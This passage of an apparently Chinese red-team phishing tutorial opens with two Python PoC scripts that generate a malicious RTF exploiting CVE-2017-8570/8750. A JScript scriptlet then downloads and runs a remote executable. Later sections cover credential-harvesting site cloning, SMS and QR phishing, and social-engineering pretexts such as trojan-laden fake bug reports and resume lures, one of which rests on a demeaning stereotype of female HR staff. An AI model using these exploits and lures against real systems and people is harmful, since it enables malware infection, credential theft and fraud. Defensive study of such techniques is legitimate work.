            '00000000',
            '00000000',
            szPackageData,
        ])

    def get_package_data(self):  
        StreamHeader = '0200'
        Label = self.filename.encode('hex') + '00'
        OrgPath = self.orgpath.encode('hex') + '00'
        UType = '00000300'
        DataPath = self.datapath.encode('hex') + '00'
        DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
        DataLen = struct.pack("<I", len(self.data)).encode('hex')
        Data = self.data.encode('hex')
        OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
        OrgPathW = self.datapath.encode('utf-16le').encode('hex')
        LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
        LabelW = self.filename.encode('utf-16le').encode('hex')
        DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
        DefPathW = self.orgpath.encode('utf-16le').encode('hex')

        return ''.join([
            StreamHeader,
            Label,
            OrgPath,
            UType,
            DataPathLen,
            DataPath,
            DataLen,
            Data,
            OrgPathWLen,
            OrgPathW,
            LabelLen,
            LabelW,
            DefPathWLen,
            DefPathW,
        ])

    def build_package(self):
        return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{\rt{0}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{1}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{2}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct):
    p = Package(sct)
    package = p.build_package()
    return EXPLOIT_RTF.format(package, p.filename.encode('hex'), p.filename.encode('utf-16le').encode('hex'))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
    parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
    parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

    args = parser.parse_args()

    with open(args.output, 'w') as f:
        f.write(build_exploit(args.sct))    
    print "[+] RTF file written to: {}".format(args.output)

或者如下 py3 脚本

Bash
python3 exp.py  -s rtf-cve-2017-8570-calc.sct -o RTF-CVE-2017-8570-calc.rtf
Python
# exp.py
import argparse
import os
import struct
import random
import string
import binascii


class Package(object):
    """
    Packager spec based on:
    https://phishme.com/rtf-malware-delivery/

    Dropping method by Haifei Li:
    https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/

    Found being used itw by @MalwareParty:
    https://twitter.com/MalwareParty/status/943861021260861440
    """

    def __init__(self, filename):
        self.filename = (
            "".join(
                random.choice(string.ascii_uppercase + string.digits) for _ in range(15)
            )
            + ".sct"
        )
        self.fakepath = "C:\\fakepath\\{}".format(self.filename)

        self.orgpath = self.fakepath
        self.datapath = self.fakepath

        with open(filename, "rb") as f:
            self.data = f.read()

        self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
        self.OBJ_TAIL = r"0105000000000000}}"

    def get_object_header(self):
        OLEVersion = "01050000"
        FormatID = "02000000"
        ClassName = "Package"
        szClassName = binascii.hexlify(struct.pack("<I", len(ClassName) + 1)).decode()
        szPackageData = binascii.hexlify(
            struct.pack("<I", len(self.get_package_data()) // 2)
        ).decode()

        return "".join(
            [
                OLEVersion,
                FormatID,
                szClassName,
                binascii.hexlify(ClassName.encode()).decode() + "00",
                "00000000",
                "00000000",
                szPackageData,
            ]
        )

    def get_package_data(self):
        StreamHeader = "0200"
        Label = binascii.hexlify(self.filename.encode()).decode() + "00"
        OrgPath = binascii.hexlify(self.orgpath.encode()).decode() + "00"
        UType = "00000300"
        DataPath = binascii.hexlify(self.datapath.encode()).decode() + "00"
        DataPathLen = binascii.hexlify(
            struct.pack("<I", len(self.datapath) + 1)
        ).decode()
        DataLen = binascii.hexlify(struct.pack("<I", len(self.data))).decode()
        Data = binascii.hexlify(self.data).decode()
        OrgPathWLen = binascii.hexlify(struct.pack("<I", len(self.datapath))).decode()
        OrgPathW = binascii.hexlify(self.datapath.encode("utf-16le")).decode()
        LabelLen = binascii.hexlify(struct.pack("<I", len(self.filename))).decode()
        LabelW = binascii.hexlify(self.filename.encode("utf-16le")).decode()
        DefPathWLen = binascii.hexlify(struct.pack("<I", len(self.orgpath))).decode()
        DefPathW = binascii.hexlify(self.orgpath.encode("utf-16le")).decode()

        return "".join(
            [
                StreamHeader,
                Label,
                OrgPath,
                UType,
                DataPathLen,
                DataPath,
                DataLen,
                Data,
                OrgPathWLen,
                OrgPathW,
                LabelLen,
                LabelW,
                DefPathWLen,
                DefPathW,
            ]
        )

    def build_package(self):
        return (
            self.OBJ_HEAD
            + self.get_object_header()
            + self.get_package_data()
            + self.OBJ_TAIL
        )


# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{\rt{0}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{1}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{2}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct):
    p = Package(sct)
    package = p.build_package()
    return EXPLOIT_RTF.format(
        package,
        binascii.hexlify(p.filename.encode()).decode(),
        binascii.hexlify(p.filename.encode("utf-16le")).decode(),
    )


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='PoC exploit for CVE-2017-8750 (a.k.a. "composite moniker") using Packager.dll file drop method'
    )
    parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
    parser.add_argument("-o", "--output", help="Output file for RTF", required=True)

    args = parser.parse_args()

    with open(args.output, "w", encoding="utf-8") as f:
        f.write(build_exploit(args.sct))
    print("[+] RTF file written to: {}".format(args.output))

在目标Win上用Word打开此RTF文件即可弹出计算器

image-20240613102431710


可以按照前面 VBA 宏 WScript/CScript 调用 JSCript 的写法来制作下载与执行远程文件的样本 例如下载与执行 http://127.0.0.1:8000/download/msedge.exe

Text Only
<?XML version="1.0"?>
<scriptlet>

<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
    >
</registration>

<script language="JScript">
<![CDATA[

        var url = 'http://127.0.0.1:8000/download/msedge.exe';var network = new ActiveXObject('WScript.Network');var username = network.UserName;var downloadPath = 'C:\\Users\\' + username + '\\AppData\\Local\\Temp\\msedge.exe';var xmlhttp = new ActiveXObject('MSXML2.XMLHTTP');xmlhttp.open('GET', url, false);xmlhttp.send();var stream = new ActiveXObject('ADODB.Stream');stream.Open();stream.Type = 1;stream.Write(xmlhttp.responseBody);stream.Position = 0;stream.SaveToFile(downloadPath, 2); stream.Close();var shell = new ActiveXObject('WScript.Shell');shell.Run(downloadPath);


]]>
</script>

</scriptlet>

image-20240613121219725

回执

当我们想要对从⽹上收集到的邮箱进⾏邮件钓⻥时,⼀⼤堆邮箱,怎么确保对应的邮箱依然存活,⼜或者说哪些邮箱的钓⻥成功率⾼点?这时候就需要⽤到邮箱的回执功能,当开启回执时,我们的邮件被对⽅已读时,我们就会收到⼀份回执信息:

image-20200903194107443

这种情况下,我们就可以对已读的邮箱进⾏深⼊钓⻥。

网站克隆

Note

Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user.

  • setoolkit

使用kali自带的setoolkit工具进行克隆网站

Bash
sudo setoolkit

克隆页面

真正的百度页面

可以看到几乎一摸一样

模拟登录,可以看到会将提交的GET/POST等内容监听,获取目标输入的账密等信息

Tip

那么后续就是要解决域名的问题,要尽量把域名弄得和真实的很接近,达到欺骗的目的

  • CS


  • Http类型
Bash
# 选用该网站测试
http://125.227.58.8/

开启键盘记录后,在Web日志可以看到用户输入

同时CS处理用户输入的逻辑是拿着用户的输入去真实的网站进行访问,返回真实网站结果,这点很好

  • Https类型
Bash
# 选用该网站进行测试
https://os.open.com.cn/Account/User/Login

与Http类型操作类似

There are different tools you can use for this purpose:

  • wget
Bash
wget -mk -nH
  • goclone
Bash
#https://github.com/imthaghost/goclone
goclone <url>
  • Social Engineering Toolit
Bash
#https://github.com/trustedsec/social-engineer-toolkit

电话/语音钓鱼

短信钓鱼

需要使用第三方短信API平台或者自建短信服务器,通常攻击者发送钓鱼邮件,邮件中含有恶意网站链接,可能是钓鱼网站的链接,也可能是一个恶意软件的下载地址等,以下是Twilio平台示例发送短信代码

Bash
# 首先安装相应依赖
pip install twilio
Python
from twilio.rest import Client

# Your Account SID from twilio.com/console
account_sid = "your_account_sid"
# Your Auth Token from twilio.com/console
auth_token  = "your_auth_token"

client = Client(account_sid, auth_token)

message = client.messages.create(
    to="+1234567890",  # 目标手机号码
    from_="+0987654321",  # Twilio 电话号码
    body="Hello, this is a test message!")

print(message.sid)

OR钓鱼

通常需要配合钓鱼网站等,目标扫描二维码后跳转到钓鱼网站,窃取凭据等,以下是生成二维码的python脚本

Python
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import sys
import subprocess
import os
import qrcode
from qrcode.constants import ERROR_CORRECT_M


def make_qr(url: str, outfile: str, box_size: int = 10, border: int = 4):
    qr = qrcode.QRCode(
        version=None,
        error_correction=ERROR_CORRECT_M,
        box_size=box_size,
        border=border,
    )
    qr.add_data(url)
    qr.make(fit=True)
    img = qr.make_image(fill_color="black", back_color="white")
    # If outfile is a path, open a binary file and save into it;
    # otherwise assume it's a binary file-like object.
    if isinstance(outfile, (str, bytes, os.PathLike)):
        with open(outfile, "wb") as f:
            img.save(f)
    else:
        img.save(outfile)
    return qr
    return qr


def print_ascii(qr: qrcode.QRCode):
    matrix = qr.get_matrix()
    # 用两个字符宽度表示一个模块,便于可读性
    black = "██"
    white = "  "
    lines = []
    for row in matrix:
        lines.append("".join(black if v else white for v in row))
    print("\n".join(lines))


def try_open(path: str):
    # macOS open
    try:
        subprocess.run(["open", path], check=False)
    except Exception:
        pass


def main(argv=None):
    p = argparse.ArgumentParser(description="生成网址二维码 (PNG) 并可选以 ASCII 输出或打开图片")
    p.add_argument("url", help="要生成二维码的网址(含协议)")
    p.add_argument("-o", "--output", default="qrcode.png", help="输出 PNG 文件路径(默认 qrcode.png)")
    p.add_argument("--box-size", type=int, default=10, help="二维码模块像素大小(默认 10)")
    p.add_argument("--border", type=int, default=4, help="二维码边界模块数(默认 4)")
    p.add_argument("--ascii", action="store_true", help="在终端以 ASCII 显示二维码")
    p.add_argument("--open", action="store_true", help="生成后在 macOS 上使用 open 打开图片")
    args = p.parse_args(argv)

    try:
        qr = make_qr(args.url, args.output,
                     box_size=args.box_size, border=args.border)
    except Exception as e:
        print("生成二维码失败:", e, file=sys.stderr)
        sys.exit(2)

    print(f"二维码已保存到: {args.output}")
    if args.ascii:
        print_ascii(qr)

    if args.open:
        try_open(args.output)


if __name__ == "__main__":
    main()

image-20251029143309847

攻击手法:

  1. 制作钓鱼网站
  2. 制作对应的二维码
  3. 配合社工手段诱导目标扫描二维码
  4. 窃取凭据等

钓鱼话术

上面提到了很多钓鱼攻击手段,但是就如word宏章节,如果不依赖漏洞的情况下,如何让对方点击启用宏,如何让对方信任你的文件,都需要话术的支撑。下面就来看看钓鱼的一些话术和手段。

SRC假漏洞

当⽬标企业存在类似SRC漏洞奖励计划时,我们可以去提交⼀个假漏洞,并把恶意⽂件附在其中,并说是漏洞复现程序:

image-20200903194236295

有些同学就会说了,对SRC安全技术人员进行钓鱼,这不是⾃投罗⽹吗。当然,钓⻥安全⼈员,成功率极低。但是换位思考下,如果你是SRC审核⼈员,⼀个⽩帽⼦提交了核⼼应⽤,且有图有真相的漏洞复现截图的时候,这种情况下,明知道可能有恶意⽊⻢的⻛险,也不得不去冒险,因为如果这是⼀个真的大漏洞的话,不及时处理可能会造成极大坏影响。

这里为了保证“漏洞”的有效性,特地让程序随机吐出看似逼真的数据,SRC审核⼈员,你还敢点击⽩帽⼦的复现⼯具吗?

image-20200903194328887

当SRC审核⼈员迟迟不点击的时候,可以施加压力,站在更高的角度上来进⾏“漏洞督促”:

image-20200903194357843

简历

简历投递是一个百试不爽的钓鱼话术手段,从腾讯蓝军进行的远程办公安全演习也能窥之一二。

image-20200903194507631

这里再提一句,一定要逼真,比如在简历钓鱼邮件中,可以留上你的名字、手机号码、学校等信息。

我们讨论下,**为什么简历投递钓鱼在腾讯蓝军的远程办公安全演习、其他红蓝对抗项目中效果出类拔萃呢?**我觉得有如下几点:

1、首先,我们的邮箱从哪里来?邮箱收集可以从领英、v2ex、搜索引擎等渠道获取,那为什么会在上述地方出现邮箱地址?大多数原因都是用人单位急招人,项目急需人,因此会在各平台留下简历投递的邮箱,而又正好被攻击者获取,而受害者又相信投递者都是善良的,还能解决**招人的燃眉之急**,在这种情况下,提高了简历投递钓鱼的成功率;

2、如果你的简历邮件写的足够漂亮,对于一个公司、面试官来说,一个好的人才,怎能轻易放过?

3、别忘了,收简历的人大多数是什么人,是HR。那我们继续想想,为什么HR不提防?首先,HR大多数是女生,女生比较善良、不设防,又非技术人员,这两者组合在一起,绝对是属于安全意识最薄弱的人之一了;

4、简历拥有分发属性。我们在多次钓鱼项目中发现,当你投递的简历到非对应项目人的邮箱里时,他会帮你转发,甚至有些热心的HR还会帮你录入到内部人才库,这相当于一下子从不可信变成内部可信了,这也是简历投递钓鱼有意思的地方。

宏钓鱼

在上面钓鱼手段中的宏钓鱼攻击中,如何让受害者点击允许运行宏呢?

我们可以尝试使用如下手段,背景为一个虚化的简历图片,然后在上方再加上一段文字,意思告诉受害者,这是一份简历,但是因为你没点击宏运行,所以看不清,要想看清,请点击运行宏。

image-20200826124601675

合作

合作是一个公司必不可少的业务之一,我们可以在网站下方找一些合作邮箱,以合作的名义去进行合作邮件钓鱼。

并且,在下面的案例中,笔者伪造的公司是跟受害者公司是一个区域的,因为如果你随便找了个其他地域的公司,受害者公司业务没覆盖到那边的话,很可能就不会理会你的邮件。

image-20200903194611317

可信站点附件中转

我们进行钓鱼攻击时,会常常把木马直接放在邮件正文中,但是对方邮件网关可能有杀软沙箱,会拦截带有恶意文件的邮箱,这时候可以尝试对文件进行加密处理。

除了加密处理外,还可以使⽤可信站点作为中转,⽐如我准备钓⻥的员⼯是{domain}.com公司下的,那如果我们把附件传到*.{domain}.com域下的话,当对⽅看到下载地址是{domain}.com域的话,下载点击的成功率是不是更⼤了点呢?是不是有点像XSS?

image-20200903194724032

技术交流

技术人员,最喜欢的莫过于有个志同道合的朋友一起交流技术。

下图钓鱼话术手段,就是伪造一个**跟受害者研究同个技术**的技术交流邮件,来进行钓鱼欺骗:

image-20200903194809986

钓鱼网站

如果能获取到对方的账号密码,那肯定是极其不错的。

常见的话术有:

1、大型安全演习期间,请打补丁;

2、公司福利活动,请登录下载领取;

……

这次我们的钓鱼手段为想要获取该公司使用的某个平台的账号密码,因此我们发的钓鱼邮件是跟该平台有所关系,即平台升级:

image-20200903194843105

